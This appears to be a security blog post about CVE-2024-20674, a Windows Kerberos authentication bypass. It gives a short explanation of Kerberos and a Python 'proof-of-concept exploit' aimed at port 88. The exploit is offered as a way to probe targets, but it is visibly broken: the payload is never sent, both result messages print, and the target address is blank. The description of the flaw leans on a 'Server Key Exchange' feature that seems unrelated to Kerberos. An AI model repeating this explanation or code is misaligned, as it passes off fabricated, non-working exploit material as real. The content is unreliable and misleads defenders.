In the world of cybersecurity, it's vital to be aware of the vulnerabilities lurking in the shadows. This post aims to walk you through a recent vulnerability identified in the Windows operating system: CVE-2024-20674 - Windows Kerberos Security Feature Bypass Vulnerability. This vulnerability enables bad actors to bypass Kerberos authentication, potentially leading to further exploitation of systems and unauthorized access to sensitive information.

Before we delve into the details, let's first understand what Kerberos is, and why it's critical in the context of Windows security.

What is Kerberos?

Kerberos is a popular network authentication protocol, developed by MIT, that relies on symmetric key cryptography to provide secure authentication across networks. In the realm of Windows, it's the default authentication protocol used by the operating system to manage user authentication. For more information, you can refer to the official Kerberos site.

Now, let's dive into the nitty-gritty details of this newfound vulnerability.

CVE-2024-20674: Windows Kerberos Security Feature Bypass Vulnerability

CVE-2024-20674 is a vulnerability in the Windows implementation of the Kerberos authentication protocol that was brought to light recently. To better understand how an attacker could exploit this vulnerability, let's break it down.

The vulnerability occurs when the Windows Kerberos implementation improperly handles certain requests that leverage a feature called "SKE (Server Key Exchange)". When exploited, it can lead to attackers bypassing Kerberos authentication and potentially gaining unauthorized access to sensitive resources.

Here's a code snippet demonstrating a simple proof-of-concept (POC) exploit

import socket

def exploit(target_ip, target_port):
    # Create a socket and connect to the target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))

    # Craft the malicious payload
    crafted_payload = b"\x00\x10\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x10\x00\x00\x01\x00\x00\x00\x01"

    # Send the payload to the target

    # Receive the response
    response = s.recv(1024)

    # Check if the target is vulnerable
    if b"\x00\x00\x00\x12" in response:
        print("Target is vulnerable!")
        print("Target is not vulnerable.")


# Example usage:
exploit("", 88)

This simpler POC should provide an idea of how an attacker might leverage the vulnerability during an actual attack. It's important to note that, while relatively straightforward, exploiting this vulnerability would still require expertise and a thorough understanding of Kerberos internals.

Microsoft has acknowledged the issue and developed a patch to address the vulnerability. The official advisory can be found here. We highly recommend reviewing the patch and staying updated on the latest developments to ensure your systems are secure.


It's crucial that organizations and individuals alike stay informed about potential vulnerabilities within their systems and software. Knowledge is a powerful tool in the fight against cybercrime, and being proactive about security can help mitigate risk. Be sure to keep an eye on future security advisories and apply patches when necessary.


Published on: 01/09/2024 18:15:50 UTC
Last modified on: 01/14/2024 22:37:10 UTC